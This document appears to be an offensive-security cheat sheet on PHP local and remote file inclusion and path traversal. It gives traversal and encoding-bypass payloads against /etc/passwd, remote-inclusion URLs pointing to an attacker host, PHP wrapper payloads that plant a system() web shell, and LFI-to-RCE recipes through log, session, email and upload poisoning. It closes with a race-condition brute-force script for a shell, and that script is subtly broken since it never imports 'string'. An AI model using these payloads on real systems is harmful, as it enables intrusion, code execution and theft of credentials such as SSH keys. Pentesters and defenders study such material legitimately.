# File Inclusion/Path traversal

## File Inclusion

**Remote File Inclusion \(RFI\):** The file is loaded from a remote server \(Best: You can write the code and the server will execute it\). In php this is **disabled** by default \(**allow\_url\_include**\).  
**Local File Inclusion \(LFI\):** The sever loads a local file.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

Vulnerable **PHP functions**: require, require\_once, include, include\_once

A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)

## Blind - Interesting - LFI2RCE files

```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```

### **Linux**

**Mixing several \*nix LFI lists and adding more paths I have created this one:**

{% page-ref page="lfi-linux-list.md" %}

A list that uses several techniques to find the file /etc/password \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

### **Windows**

Using theses lists and deleting repetitions I have created a new one:

* [https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt](https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt)
* [https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/](https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal)
* [https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt](https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt)
* [http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/](http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/)

{% file src="../../.gitbook/assets/winlfi.txt" %}

A list that uses several techniques to find the file /boot.ini \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

### **OS X**

Check the LFI list of linux.

## Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also \(page=http://myserver.com/phpshellcode.txt\).

```text
http://example.com/index.php?page=../../../etc/passwd
```

### traversal sequences stripped non-recursively

```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```

### **Null byte \(%00\)**

Bypass the append more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)

```text
http://example.com/index.php?page=../../../etc/passwd%00
```

This is **solved since PHP 5.4**

### **Encoding**

You could use non-standard encondings like double URL encode \(and others\):

```text
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

### From existent folder

Maybe the back-end is checking the folder path:

```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```

### **Path truncation**

Bypass the append of more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)

```text
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```

```text
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```

Always try to **start** the path **with a fake directory** \(a/\).

**This vulnerability was corrected in PHP 5.3.**

### **Filter bypass tricks**

```text
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
```

## Basic RFI

```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

## Top 25 parameters

Here’s list of top 25 parameters that could be vulnerable to local file inclusion \(LFI\) vulnerabilities \(from  [link](https://twitter.com/trbughunters/status/1279768631845494787)\):

```text
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```

## LFI / RFI using PHP wrappers

### Wrapper php://filter

#### Base64 and rot13

The part "php://filter" is case insensitive

```text
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

#### zlib \(compression\)

Can be chained with a **compression** wrapper for large files.

```text
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

To read the comppression data you need to decode the base64 and read the resulting data using:

```bash
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
```

**NOTE: Wrappers can be chained**

### Wrapper zip://

Upload a Zip file with a PHPShell inside and access it.

```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### Wrapper data://

```text
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

### Wrapper expect://

Expect has to be activated. You can execute code using this.

```text
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### Wrapper input://

Specify your payload in the POST parameters

```text
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
```

### Wrapper phar://

Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)

## LFI2RCE

### Basic RFI

```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

### Via Apache log file

If the Apache server is vulnerable to LFI inside the include function you could try to access to _**/var/log/apache2/access.log**_, set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.

Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.

This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.

### Via Email

Send a mail to a internal account \(user@localhost\) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail _**/var/mail/USER&cmd=whoami**_

### Via /proc/\*/fd/\*

1. Upload a lot of shells \(for example : 100\)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process \(can be brute forced\) and $FD the file descriptor \(can be brute forced too\)

### Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```text
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

### Via upload

If you can upload a file, just inject the shell payload in it \(e.g : `<?php system($_GET['c']); ?>` \).

```text
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

### Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```

### Via PHP sessions

Check if the website use PHP Session \(PHPSESSID\)

```text
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into _/var/lib/php5/sess\_\[PHPSESSID\]_ files

```text
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```text
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```text
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```

### Via ssh

If ssh is active check which user is being used \(/proc/self/status & /etc/passwd\) and try to access **&lt;HOME&gt;/.ssh/id\_rsa**

### **Via** **vsftpd** _**logs**_

The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.

### Via phpinfo\(\) \(file\_uploads = on\)

To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo\(\) is displayed, "file\_uploads = on" and the server has to be able to write in the "/tmp" directory.**

[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)

**Turotial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)

You need to fix the exploit \(change  **=&gt;** for **=&gt;**\). To do so you can do:

```text
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```

You have to change also the **payload** at the beginning of the exploit \(for a php-rev-shell for example\), the **REQ1** \(this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r_\), and **LFIREQ** \(this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r   --_  Check the double "%" when exploiting null char\)

{% file src="../../.gitbook/assets/lfi-with-phpinfo-assistance.pdf" %}

#### Theory 

If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.

Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.

In **Windows** the files are usually stored in  **C:\Windows\temp\php&lt;&lt;**

In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig\(\)**".

**phpinfo\(\)**

**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** \(using big headers\) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo\(\) to be returned** \(where the name of the temporary file is\) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.

**Python script to try to bruteforce the name \(if length = 6\)**

```python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')
```

### References

[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)  
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)  


{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}

